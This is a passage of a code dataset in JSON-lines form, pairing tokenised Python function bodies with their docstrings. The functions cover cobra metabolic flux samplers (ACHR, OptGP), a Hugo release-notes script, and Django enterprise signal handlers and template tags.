RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>newdir = sampler.warmup[np.random.randint(sampler.n_warmup)]<EOL>sampler.retries += <NUM_LIT:1><EOL>return step(sampler, sampler.center, newdir - sampler.center, None,<EOL>tries + <NUM_LIT:1>)<EOL><DEDENT>return p<EOL>", "docstring": "Sample a new feasible point from the point `x` in direction `delta`.", "id": "f15977:m1"}
{"signature": "def __init__(self, model, thinning, nproj=None, seed=None):", "body": "<EOL>if model.solver.is_integer:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.model = model.copy()<EOL>self.feasibility_tol = model.tolerance<EOL>self.bounds_tol = model.tolerance<EOL>self.thinning = thinning<EOL>if nproj is None:<EOL><INDENT>self.nproj = int(min(len(self.model.variables)**<NUM_LIT:3>, <NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>self.nproj = nproj<EOL><DEDENT>self.n_samples = <NUM_LIT:0><EOL>self.retries = <NUM_LIT:0><EOL>self.problem = self.__build_problem()<EOL>var_idx = {v: idx for idx, v in enumerate(self.model.variables)}<EOL>self.fwd_idx = np.array([var_idx[r.forward_variable]<EOL>for r in self.model.reactions])<EOL>self.rev_idx = np.array([var_idx[r.reverse_variable]<EOL>for r in self.model.reactions])<EOL>self.warmup = None<EOL>if seed is None:<EOL><INDENT>self._seed = int(time())<EOL><DEDENT>else:<EOL><INDENT>self._seed = seed<EOL><DEDENT>self._seed = self._seed % np.iinfo(np.int32).max<EOL>", "docstring": "Initialize a new sampler object.", "id": "f15977:c0:m0"}
{"signature": "def __build_problem(self):", "body": "<EOL>prob = constraint_matrices(self.model, zero_tol=self.feasibility_tol)<EOL>equalities = prob.equalities<EOL>b = prob.b<EOL>bounds = np.atleast_2d(prob.bounds).T<EOL>var_bounds = np.atleast_2d(prob.variable_bounds).T<EOL>homogeneous = all(np.abs(b) < self.feasibility_tol)<EOL>fixed_non_zero = np.abs(prob.variable_bounds[:, <NUM_LIT:1>]) >self.feasibility_tol<EOL>fixed_non_zero &= prob.variable_fixed<EOL>if any(fixed_non_zero):<EOL><INDENT>n_fixed = fixed_non_zero.sum()<EOL>rows = np.zeros((n_fixed, prob.equalities.shape[<NUM_LIT:1>]))<EOL>rows[range(n_fixed), np.where(fixed_non_zero)] = <NUM_LIT:1.0><EOL>equalities = np.vstack([equalities, rows])<EOL>var_b = prob.variable_bounds[:, <NUM_LIT:1>]<EOL>b = np.hstack([b, var_b[fixed_non_zero]])<EOL>homogeneous = False<EOL><DEDENT>nulls = nullspace(equalities)<EOL>return Problem(<EOL>equalities=shared_np_array(equalities.shape, equalities),<EOL>b=shared_np_array(b.shape, b),<EOL>inequalities=shared_np_array(prob.inequalities.shape,<EOL>prob.inequalities),<EOL>bounds=shared_np_array(bounds.shape, bounds),<EOL>variable_fixed=shared_np_array(prob.variable_fixed.shape,<EOL>prob.variable_fixed, integer=True),<EOL>variable_bounds=shared_np_array(var_bounds.shape, var_bounds),<EOL>nullspace=shared_np_array(nulls.shape, nulls),<EOL>homogeneous=homogeneous<EOL>)<EOL>", "docstring": "Build the matrix representation of the sampling problem.", "id": "f15977:c0:m1"}
{"signature": "def generate_fva_warmup(self):", "body": "self.n_warmup = <NUM_LIT:0><EOL>reactions = self.model.reactions<EOL>self.warmup = np.zeros((<NUM_LIT:2> * len(reactions), len(self.model.variables)))<EOL>self.model.objective = Zero<EOL>for sense in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>self.model.objective_direction = sense<EOL>for i, r in enumerate(reactions):<EOL><INDENT>variables = (self.model.variables[self.fwd_idx[i]],<EOL>self.model.variables[self.rev_idx[i]])<EOL>if r.upper_bound - r.lower_bound < self.bounds_tol:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\" % r.id)<EOL>continue<EOL><DEDENT>self.model.objective.set_linear_coefficients(<EOL>{variables[<NUM_LIT:0>]: <NUM_LIT:1>, variables[<NUM_LIT:1>]: -<NUM_LIT:1>})<EOL>self.model.slim_optimize()<EOL>if not self.model.solver.status == OPTIMAL:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\" %<EOL>r.id)<EOL>continue<EOL><DEDENT>primals = self.model.solver.primal_values<EOL>sol = [primals[v.name] for v in self.model.variables]<EOL>self.warmup[self.n_warmup, ] = sol<EOL>self.n_warmup += <NUM_LIT:1><EOL>self.model.objective.set_linear_coefficients(<EOL>{variables[<NUM_LIT:0>]: <NUM_LIT:0>, variables[<NUM_LIT:1>]: <NUM_LIT:0>})<EOL><DEDENT><DEDENT>self.warmup = self.warmup[<NUM_LIT:0>:self.n_warmup, :]<EOL>keep = np.logical_not(self._is_redundant(self.warmup))<EOL>self.warmup = self.warmup[keep, :]<EOL>self.n_warmup = self.warmup.shape[<NUM_LIT:0>]<EOL>if len(self.warmup.shape) == <NUM_LIT:1> or self.warmup.shape[<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif self.n_warmup == <NUM_LIT:2>:<EOL><INDENT>if not self.problem.homogeneous:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\")<EOL>newdir = self.warmup.T.dot([<NUM_LIT>, <NUM_LIT>])<EOL>self.warmup = np.vstack([self.warmup, newdir])<EOL>self.n_warmup += <NUM_LIT:1><EOL><DEDENT>self.warmup = shared_np_array(<EOL>(self.n_warmup, len(self.model.variables)), self.warmup)<EOL>", "docstring": "Generate the warmup points for the sampler.\n\n        Generates warmup points by setting each flux as the sole objective\n        and minimizing/maximizing it. Also caches the projection of the\n        warmup points into the nullspace for non-homogeneous problems (only\n        if necessary).", "id": "f15977:c0:m2"}
{"signature": "def _reproject(self, p):", "body": "nulls = self.problem.nullspace<EOL>equalities = self.problem.equalities<EOL>if np.allclose(equalities.dot(p), self.problem.b,<EOL>rtol=<NUM_LIT:0>, atol=self.feasibility_tol):<EOL><INDENT>new = p<EOL><DEDENT>else:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % self.n_samples)<EOL>new = nulls.dot(nulls.T.dot(p))<EOL><DEDENT>if any(new != p):<EOL><INDENT>LOGGER.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % self.n_samples)<EOL>new = self._random_point()<EOL><DEDENT>return new<EOL>", "docstring": "Reproject a point into the feasibility region.\n\n        This function is guaranteed to return a new feasible point. However,\n        no guarantees in terms of proximity to the original point can be made.\n\n        Parameters\n        ----------\n        p : numpy.array\n            The current sample point.\n\n        Returns\n        -------\n        numpy.array\n            A new feasible point. If `p` was feasible it wil return p.", "id": "f15977:c0:m3"}
{"signature": "def _random_point(self):", "body": "idx = np.random.randint(self.n_warmup,<EOL>size=min(<NUM_LIT:2>, np.ceil(np.sqrt(self.n_warmup))))<EOL>return self.warmup[idx, :].mean(axis=<NUM_LIT:0>)<EOL>", "docstring": "Find an approximately random point in the flux cone.", "id": "f15977:c0:m4"}
{"signature": "def _is_redundant(self, matrix, cutoff=None):", "body": "cutoff = <NUM_LIT:1.0> - self.feasibility_tol<EOL>extra_col = matrix[:, <NUM_LIT:0>] + <NUM_LIT:1><EOL>extra_col[matrix.sum(axis=<NUM_LIT:1>) == <NUM_LIT:0>] = <NUM_LIT:2><EOL>corr = np.corrcoef(np.c_[matrix, extra_col])<EOL>corr = np.tril(corr, -<NUM_LIT:1>)<EOL>return (np.abs(corr) > cutoff).any(axis=<NUM_LIT:1>)<EOL>", "docstring": "Identify rdeundant rows in a matrix that can be removed.", "id": "f15977:c0:m5"}
{"signature": "def _bounds_dist(self, p):", "body": "prob = self.problem<EOL>lb_dist = (p - prob.variable_bounds[<NUM_LIT:0>, ]).min()<EOL>ub_dist = (prob.variable_bounds[<NUM_LIT:1>, ] - p).min()<EOL>if prob.bounds.shape[<NUM_LIT:0>] > <NUM_LIT:0>:<EOL><INDENT>const = prob.inequalities.dot(p)<EOL>const_lb_dist = (const - prob.bounds[<NUM_LIT:0>, ]).min()<EOL>const_ub_dist = (prob.bounds[<NUM_LIT:1>, ] - const).min()<EOL>lb_dist = min(lb_dist, const_lb_dist)<EOL>ub_dist = min(ub_dist, const_ub_dist)<EOL><DEDENT>return np.array([lb_dist, ub_dist])<EOL>", "docstring": "Get the lower and upper bound distances. Negative is bad.", "id": "f15977:c0:m6"}
{"signature": "def sample(self, n, fluxes=True):", "body": "pass<EOL>", "docstring": "Abstract sampling function.\n\n        Should be overwritten by child classes.", "id": "f15977:c0:m7"}
{"signature": "def batch(self, batch_size, batch_num, fluxes=True):", "body": "for i in range(batch_num):<EOL><INDENT>yield self.sample(batch_size, fluxes=fluxes)<EOL><DEDENT>", "docstring": "Create a batch generator.\n\n        This is useful to generate n batches of m samples each.\n\n        Parameters\n        ----------\n        batch_size : int\n            The number of samples contained in each batch (m).\n        batch_num : int\n            The number of batches in the generator (n).\n        fluxes : boolean\n            Whether to return fluxes or the internal solver variables. If set\n            to False will return a variable for each forward and backward flux\n            as well as all additional variables you might have defined in the\n            model.\n\n        Yields\n        ------\n        pandas.DataFrame\n            A DataFrame with dimensions (batch_size x n_r) containing\n            a valid flux sample for a total of n_r reactions (or variables if\n            fluxes=False) in each row.", "id": "f15977:c0:m8"}
{"signature": "def validate(self, samples):", "body": "samples = np.atleast_2d(samples)<EOL>prob = self.problem<EOL>if samples.shape[<NUM_LIT:1>] == len(self.model.reactions):<EOL><INDENT>S = create_stoichiometric_matrix(self.model)<EOL>b = np.array([self.model.constraints[m.id].lb for m in<EOL>self.model.metabolites])<EOL>bounds = np.array([r.bounds for r in self.model.reactions]).T<EOL><DEDENT>elif samples.shape[<NUM_LIT:1>] == len(self.model.variables):<EOL><INDENT>S = prob.equalities<EOL>b = prob.b<EOL>bounds = prob.variable_bounds<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>feasibility = np.abs(S.dot(samples.T).T - b).max(axis=<NUM_LIT:1>)<EOL>lb_error = (samples - bounds[<NUM_LIT:0>, ]).min(axis=<NUM_LIT:1>)<EOL>ub_error = (bounds[<NUM_LIT:1>, ] - samples).min(axis=<NUM_LIT:1>)<EOL>if (samples.shape[<NUM_LIT:1>] == len(self.model.variables) and<EOL>prob.inequalities.shape[<NUM_LIT:0>]):<EOL><INDENT>consts = prob.inequalities.dot(samples.T)<EOL>lb_error = np.minimum(<EOL>lb_error,<EOL>(consts - prob.bounds[<NUM_LIT:0>, ]).min(axis=<NUM_LIT:1>))<EOL>ub_error = np.minimum(<EOL>ub_error,<EOL>(prob.bounds[<NUM_LIT:1>, ] - consts).min(axis=<NUM_LIT:1>)<EOL>)<EOL><DEDENT>valid = (<EOL>(feasibility < self.feasibility_tol) &<EOL>(lb_error > -self.bounds_tol) &<EOL>(ub_error > -self.bounds_tol))<EOL>codes = np.repeat(\"<STR_LIT>\", valid.shape[<NUM_LIT:0>]).astype(np.dtype((str, <NUM_LIT:3>)))<EOL>codes[valid] = \"<STR_LIT:v>\"<EOL>codes[lb_error <= -self.bounds_tol] = np.char.add(<EOL>codes[lb_error <= -self.bounds_tol], \"<STR_LIT:l>\")<EOL>codes[ub_error <= -self.bounds_tol] = np.char.add(<EOL>codes[ub_error <= -self.bounds_tol], \"<STR_LIT:u>\")<EOL>codes[feasibility > self.feasibility_tol] = np.char.add(<EOL>codes[feasibility > self.feasibility_tol], \"<STR_LIT:e>\")<EOL>return codes<EOL>", "docstring": "Validate a set of samples for equality and inequality feasibility.\n\n        Can be used to check whether the generated samples and warmup points\n        are feasible.\n\n        Parameters\n        ----------\n        samples : numpy.matrix\n            Must be of dimension (n_samples x n_reactions). Contains the\n            samples to be validated. Samples must be from fluxes.\n\n        Returns\n        -------\n        numpy.array\n            A one-dimensional numpy array of length containing\n            a code of 1 to 3 letters denoting the validation result:\n\n            - 'v' means feasible in bounds and equality constraints\n            - 'l' means a lower bound violation\n            - 'u' means a lower bound validation\n            - 'e' means and equality constraint violation", "id": "f15977:c0:m9"}
{"signature": "def __init__(self, model, thinning=<NUM_LIT:100>, nproj=None, seed=None):", "body": "super(ACHRSampler, self).__init__(model, thinning, nproj=nproj,<EOL>seed=seed)<EOL>self.generate_fva_warmup()<EOL>self.prev = self.center = self.warmup.mean(axis=<NUM_LIT:0>)<EOL>np.random.seed(self._seed)<EOL>", "docstring": "Initialize a new ACHRSampler.", "id": "f15978:c0:m0"}
{"signature": "def sample(self, n, fluxes=True):", "body": "samples = np.zeros((n, self.warmup.shape[<NUM_LIT:1>]))<EOL>for i in range(<NUM_LIT:1>, self.thinning * n + <NUM_LIT:1>):<EOL><INDENT>self.__single_iteration()<EOL>if i % self.thinning == <NUM_LIT:0>:<EOL><INDENT>samples[i//self.thinning - <NUM_LIT:1>, ] = self.prev<EOL><DEDENT><DEDENT>if fluxes:<EOL><INDENT>names = [r.id for r in self.model.reactions]<EOL>return pandas.DataFrame(<EOL>samples[:, self.fwd_idx] - samples[:, self.rev_idx],<EOL>columns=names)<EOL><DEDENT>else:<EOL><INDENT>names = [v.name for v in self.model.variables]<EOL>return pandas.DataFrame(samples, columns=names)<EOL><DEDENT>", "docstring": "Generate a set of samples.\n\n        This is the basic sampling function for all hit-and-run samplers.\n\n        Parameters\n        ----------\n        n : int\n            The number of samples that are generated at once.\n        fluxes : boolean\n            Whether to return fluxes or the internal solver variables. If set\n            to False will return a variable for each forward and backward flux\n            as well as all additional variables you might have defined in the\n            model.\n\n        Returns\n        -------\n        numpy.matrix\n            Returns a matrix with `n` rows, each containing a flux sample.\n\n        Notes\n        -----\n        Performance of this function linearly depends on the number\n        of reactions in your model and the thinning factor.", "id": "f15978:c0:m2"}
{"signature": "def mp_init(obj):", "body": "global sampler<EOL>sampler = obj<EOL>", "docstring": "Initialize the multiprocessing pool.", "id": "f15979:m0"}
{"signature": "def _sample_chain(args):", "body": "n, idx = args       <EOL>center = sampler.center<EOL>np.random.seed((sampler._seed + idx) % np.iinfo(np.int32).max)<EOL>pi = np.random.randint(sampler.n_warmup)<EOL>prev = sampler.warmup[pi, ]<EOL>prev = step(sampler, center, prev - center, <NUM_LIT>)<EOL>n_samples = max(sampler.n_samples, <NUM_LIT:1>)<EOL>samples = np.zeros((n, center.shape[<NUM_LIT:0>]))<EOL>for i in range(<NUM_LIT:1>, sampler.thinning * n + <NUM_LIT:1>):<EOL><INDENT>pi = np.random.randint(sampler.n_warmup)<EOL>delta = sampler.warmup[pi, ] - center<EOL>prev = step(sampler, prev, delta)<EOL>if sampler.problem.homogeneous and (<EOL>n_samples * sampler.thinning % sampler.nproj == <NUM_LIT:0>):<EOL><INDENT>prev = sampler._reproject(prev)<EOL>center = sampler._reproject(center)<EOL><DEDENT>if i % sampler.thinning == <NUM_LIT:0>:<EOL><INDENT>samples[i//sampler.thinning - <NUM_LIT:1>, ] = prev<EOL><DEDENT>center = ((n_samples * center) / (n_samples + <NUM_LIT:1>) +<EOL>prev / (n_samples + <NUM_LIT:1>))<EOL>n_samples += <NUM_LIT:1><EOL><DEDENT>return (sampler.retries, samples)<EOL>", "docstring": "Sample a single chain for OptGPSampler.\n\n    center and n_samples are updated locally and forgotten afterwards.", "id": "f15979:m1"}
{"signature": "def __init__(self, model, processes=None, thinning=<NUM_LIT:100>, nproj=None,<EOL>seed=None):", "body": "super(OptGPSampler, self).__init__(model, thinning, seed=seed)<EOL>self.generate_fva_warmup()<EOL>if processes is None:<EOL><INDENT>self.processes = CONFIGURATION.processes<EOL><DEDENT>else:<EOL><INDENT>self.processes = processes<EOL><DEDENT>self.center = shared_np_array((len(model.variables), ),<EOL>self.warmup.mean(axis=<NUM_LIT:0>))<EOL>", "docstring": "Initialize a new OptGPSampler.", "id": "f15979:c0:m0"}
{"signature": "def sample(self, n, fluxes=True):", "body": "if self.processes > <NUM_LIT:1>:<EOL><INDENT>n_process = np.ceil(n / self.processes).astype(int)<EOL>n = n_process * self.processes<EOL>args = list(zip(<EOL>[n_process] * self.processes, range(self.processes)))<EOL>mp = Pool(self.processes, initializer=mp_init, initargs=(self,))<EOL>results = mp.map(_sample_chain, args, chunksize=<NUM_LIT:1>)<EOL>mp.close()<EOL>mp.join()<EOL>chains = np.vstack([r[<NUM_LIT:1>] for r in results])<EOL>self.retries += sum(r[<NUM_LIT:0>] for r in results)<EOL><DEDENT>else:<EOL><INDENT>mp_init(self)<EOL>results = _sample_chain((n, <NUM_LIT:0>))<EOL>chains = results[<NUM_LIT:1>]<EOL><DEDENT>self.center = (self.n_samples * self.center +<EOL>np.atleast_2d(chains).sum(<NUM_LIT:0>)) / (self.n_samples + n)<EOL>self.n_samples += n<EOL>if fluxes:<EOL><INDENT>names = [r.id for r in self.model.reactions]<EOL>return pandas.DataFrame(<EOL>chains[:, self.fwd_idx] - chains[:, self.rev_idx],<EOL>columns=names)<EOL><DEDENT>else:<EOL><INDENT>names = [v.name for v in self.model.variables]<EOL>return pandas.DataFrame(chains, columns=names)<EOL><DEDENT>", "docstring": "Generate a set of samples.\n\n        This is the basic sampling function for all hit-and-run samplers.\n\n        Paramters\n        ---------\n        n : int\n            The minimum number of samples that are generated at once\n            (see Notes).\n        fluxes : boolean\n            Whether to return fluxes or the internal solver variables. If set\n            to False will return a variable for each forward and backward flux\n            as well as all additional variables you might have defined in the\n            model.\n\n        Returns\n        -------\n        numpy.matrix\n            Returns a matrix with `n` rows, each containing a flux sample.\n\n        Notes\n        -----\n        Performance of this function linearly depends on the number\n        of reactions in your model and the thinning factor.\n\n        If the number of processes is larger than one, computation is split\n        across as the CPUs of your machine. This may shorten computation time.\n        However, there is also overhead in setting up parallel computation so\n        we recommend to calculate large numbers of samples at once\n        (`n` > 1000).", "id": "f15979:c0:m1"}
{"signature": "def __getstate__(self):", "body": "d = dict(self.__dict__)<EOL>del d['<STR_LIT>']<EOL>return d<EOL>", "docstring": "Return the object for serialization.", "id": "f15979:c0:m2"}
{"signature": "def sample(model, n, method=\"<STR_LIT>\", thinning=<NUM_LIT:100>, processes=<NUM_LIT:1>, seed=None):", "body": "if method == \"<STR_LIT>\":<EOL><INDENT>sampler = OptGPSampler(model, processes, thinning=thinning, seed=seed)<EOL><DEDENT>elif method == \"<STR_LIT>\":<EOL><INDENT>sampler = ACHRSampler(model, thinning=thinning, seed=seed)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return pandas.DataFrame(columns=[rxn.id for rxn in model.reactions],<EOL>data=sampler.sample(n))<EOL>", "docstring": "Sample valid flux distributions from a cobra model.\n\n    The function samples valid flux distributions from a cobra model.\n    Currently we support two methods:\n\n    1. 'optgp' (default) which uses the OptGPSampler that supports parallel\n        sampling [1]_. Requires large numbers of samples to be performant\n        (n < 1000). For smaller samples 'achr' might be better suited.\n\n    or\n\n    2. 'achr' which uses artificial centering hit-and-run. This is a single\n       process method with good convergence [2]_.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model from which to sample flux distributions.\n    n : int\n        The number of samples to obtain. When using 'optgp' this must be a\n        multiple of `processes`, otherwise a larger number of samples will be\n        returned.\n    method : str, optional\n        The sampling algorithm to use.\n    thinning : int, optional\n        The thinning factor of the generated sampling chain. A thinning of 10\n        means samples are returned every 10 steps. Defaults to 100 which in\n        benchmarks gives approximately uncorrelated samples. If set to one\n        will return all iterates.\n    processes : int, optional\n        Only used for 'optgp'. The number of processes used to generate\n        samples.\n    seed : int > 0, optional\n        The random number seed to be used. Initialized to current time stamp\n        if None.\n\n    Returns\n    -------\n    pandas.DataFrame\n        The generated flux samples. Each row corresponds to a sample of the\n        fluxes and the columns are the reactions.\n\n    Notes\n    -----\n    The samplers have a correction method to ensure equality feasibility for\n    long-running chains, however this will only work for homogeneous models,\n    meaning models with no non-zero fixed variables or constraints (\n    right-hand side of the equalities are zero).\n\n    References\n    ----------\n    .. [1] Megchelenbrink W, Huynen M, Marchiori E (2014)\n       optGpSampler: An Improved Tool for Uniformly Sampling the Solution-Space\n       of Genome-Scale Metabolic Networks.\n       PLoS ONE 9(2): e86587.\n    .. [2] Direction Choice for Accelerated Convergence in Hit-and-Run Sampling\n       David E. Kaufman Robert L. Smith\n       Operations Research 199846:1 , 84-95", "id": "f15981:m0"}
{"signature": "def insert_break(lines, break_pos=<NUM_LIT:9>):", "body": "def line_filter(line):<EOL><INDENT>if len(line) == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>return any(line.startswith(c) for c in \"<STR_LIT>\")<EOL><DEDENT>if len(lines) <= break_pos:<EOL><INDENT>return lines<EOL><DEDENT>newlines = [<EOL>i for i, line in enumerate(lines[break_pos:], start=break_pos)<EOL>if line_filter(line.strip())]<EOL>if len(newlines) > <NUM_LIT:0>:<EOL><INDENT>break_pos = newlines[<NUM_LIT:0>]<EOL><DEDENT>lines.insert(break_pos, \"<STR_LIT>\")<EOL>return lines<EOL>", "docstring": "Insert a <!--more--> tag for larger release notes.\n\nParameters\n----------\nlines : list of str\n    The content of the release note.\nbreak_pos : int\n    Line number before which a break should approximately be inserted.\n\nReturns\n-------\nlist of str\n    The text with the inserted tag or no modification if it was\n    sufficiently short.", "id": "f15985:m0"}
{"signature": "def build_hugo_md(filename, tag, bump):", "body": "header = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(date.today().isoformat()),<EOL>'<STR_LIT>'.format(tag),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(bump),<EOL>'<STR_LIT>',<EOL>'<STR_LIT:\\n>'<EOL>]<EOL>with open(filename, \"<STR_LIT:r>\") as file_h:<EOL><INDENT>content = insert_break(file_h.readlines())<EOL><DEDENT>header.extend(content)<EOL>with open(filename, \"<STR_LIT:w>\") as file_h:<EOL><INDENT>file_h.writelines(header)<EOL><DEDENT>", "docstring": "Build the markdown release notes for Hugo.\n\nInserts the required TOML header with specific values and adds a break\nfor long release notes.\n\nParameters\n----------\nfilename : str, path\n    The release notes file.\ntag : str\n    The tag, following semantic versioning, of the current release.\nbump : {\"major\", \"minor\", \"patch\", \"alpha\", \"beta\"}\n    The type of release.", "id": "f15985:m1"}
{"signature": "def intify(filename):", "body": "tmp = filename[:-<NUM_LIT:3>].split(\"<STR_LIT:.>\")<EOL>return int(tmp[<NUM_LIT:0>]), int(tmp[<NUM_LIT:1>])<EOL>", "docstring": "Turn a release note filename into something sortable.\n\nParameters\n----------\nfilename : str\n    A release note of expected filename format '<major>.<minor>.<patch>.md'.\n\nReturns\n-------\ntuple\n    A pair of the major and minor versions as integers.", "id": "f15985:m2"}
{"signature": "def find_bump(target, tag):", "body": "tmp = tag.split(\"<STR_LIT:.>\")<EOL>existing = [intify(basename(f)) for f in glob(join(target, \"<STR_LIT>\"))]<EOL>latest = max(existing)<EOL>if int(tmp[<NUM_LIT:0>]) > latest[<NUM_LIT:0>]:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif int(tmp[<NUM_LIT:1>]) > latest[<NUM_LIT:1>]:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Identify the kind of release by comparing to existing ones.", "id": "f15985:m3"}
{"signature": "def main(argv):", "body": "source, target, tag = argv<EOL>if \"<STR_LIT:a>\" in tag:<EOL><INDENT>bump = \"<STR_LIT>\"<EOL><DEDENT>if \"<STR_LIT:b>\" in tag:<EOL><INDENT>bump = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>bump = find_bump(target, tag)<EOL><DEDENT>filename = \"<STR_LIT>\".format(tag)<EOL>destination = copy(join(source, filename), target)<EOL>build_hugo_md(destination, tag, bump)<EOL>", "docstring": "Identify the release type and create a new target file with TOML header.\n\nRequires three arguments.", "id": "f15985:m4"}
{"signature": "@disable_for_loaddata<EOL>def handle_user_post_save(sender, **kwargs):  ", "body": "created = kwargs.get(\"<STR_LIT>\", False)<EOL>user_instance = kwargs.get(\"<STR_LIT>\", None)<EOL>if user_instance is None:<EOL><INDENT>return  <EOL><DEDENT>try:<EOL><INDENT>pending_ecu = PendingEnterpriseCustomerUser.objects.get(user_email=user_instance.email)<EOL><DEDENT>except PendingEnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>return  <EOL><DEDENT>if not created:<EOL><INDENT>try:<EOL><INDENT>existing_record = EnterpriseCustomerUser.objects.get(user_id=user_instance.id)<EOL>message_template = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>logger.info(message_template.format(<EOL>user=user_instance, enterprise_customer=existing_record.enterprise_customer<EOL>))<EOL>pending_ecu.delete()<EOL>return<EOL><DEDENT>except EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>enterprise_customer_user = EnterpriseCustomerUser.objects.create(<EOL>enterprise_customer=pending_ecu.enterprise_customer,<EOL>user_id=user_instance.id<EOL>)<EOL>pending_enrollments = list(pending_ecu.pendingenrollment_set.all())<EOL>if pending_enrollments:<EOL><INDENT>def _complete_user_enrollment():  <EOL><INDENT>for enrollment in pending_enrollments:<EOL><INDENT>enterprise_customer_user.enroll(<EOL>enrollment.course_id, enrollment.course_mode, cohort=enrollment.cohort_name)<EOL>track_enrollment('<STR_LIT>', user_instance.id, enrollment.course_id)<EOL><DEDENT>pending_ecu.delete()<EOL><DEDENT>transaction.on_commit(_complete_user_enrollment)<EOL><DEDENT>else:<EOL><INDENT>pending_ecu.delete()<EOL><DEDENT>", "docstring": "Handle User model changes - checks if pending enterprise customer user record exists and upgrades it to actual link.\n\nIf there are pending enrollments attached to the PendingEnterpriseCustomerUser, then this signal also takes the\nnewly-created users and enrolls them in the relevant courses.", "id": "f15988:m0"}
{"signature": "@receiver(post_save, sender=EnterpriseCustomerCatalog, dispatch_uid='<STR_LIT>')<EOL>def default_content_filter(sender, instance, **kwargs):     ", "body": "if kwargs['<STR_LIT>'] and not instance.content_filter:<EOL><INDENT>instance.content_filter = get_default_catalog_content_filter()<EOL>instance.save()<EOL><DEDENT>", "docstring": "Set default value for `EnterpriseCustomerCatalog.content_filter` if not already set.", "id": "f15988:m1"}
{"signature": "@receiver(post_save, sender=EnterpriseCustomerUser)<EOL>def assign_enterprise_learner_role(sender, instance, **kwargs):     ", "body": "if kwargs['<STR_LIT>'] and instance.user:<EOL><INDENT>enterprise_learner_role, __ = SystemWideEnterpriseRole.objects.get_or_create(name=ENTERPRISE_LEARNER_ROLE)<EOL>SystemWideEnterpriseUserRoleAssignment.objects.get_or_create(<EOL>user=instance.user,<EOL>role=enterprise_learner_role<EOL>)<EOL><DEDENT>", "docstring": "Assign an enterprise learner role to EnterpriseCustomerUser whenever a new record is created.", "id": "f15988:m2"}
{"signature": "@receiver(post_delete, sender=EnterpriseCustomerUser)<EOL>def delete_enterprise_learner_role_assignment(sender, instance, **kwargs):     ", "body": "if instance.user:<EOL><INDENT>enterprise_learner_role, __ = SystemWideEnterpriseRole.objects.get_or_create(name=ENTERPRISE_LEARNER_ROLE)<EOL>try:<EOL><INDENT>SystemWideEnterpriseUserRoleAssignment.objects.get(<EOL>user=instance.user,<EOL>role=enterprise_learner_role<EOL>).delete()<EOL><DEDENT>except SystemWideEnterpriseUserRoleAssignment.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Delete the associated enterprise learner role assignment record when deleting an EnterpriseCustomerUser record.", "id": "f15988:m3"}
{"signature": "@register.inclusion_tag('<STR_LIT>')<EOL>def fa_icon(message_type):", "body": "return {<EOL>'<STR_LIT>': MESSAGE_ICONS.get(message_type, '<STR_LIT>'.format(message_type))<EOL>}<EOL>", "docstring": "Django template tag that returns font awesome icon depending upon message type.\n\nUsage:\n    {% fa_icon \"success\" %}", "id": "f15989:m0"}
{"signature": "@register.inclusion_tag('<STR_LIT>')<EOL>def alert_messages(messages):", "body": "return {<EOL>'<STR_LIT>': messages<EOL>}<EOL>", "docstring": "Django template tag that returns an alert message.\n\nUsage:\n    {% alert_messages messages %}", "id": "f15989:m1"}
{"signature": "@register.inclusion_tag('<STR_LIT>', takes_context=True)<EOL>def course_modal(context, course=None):", "body": "if course:<EOL><INDENT>context.update({<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': course.get('<STR_LIT>', []),<EOL>'<STR_LIT>': course.get('<STR_LIT>', []),<EOL>'<STR_LIT>': course.get('<STR_LIT>', []),<EOL>})<EOL><DEDENT>return context<EOL>", "docstring": "Django template tag that returns course information to display in a modal.\n\nYou may pass in a particular course if you like. Otherwise, the modal will look for course context\nwithin the parent context.\n\nUsage:\n    {% course_modal %}\n    {% course_modal course %}", "id": "f15989:m2"}
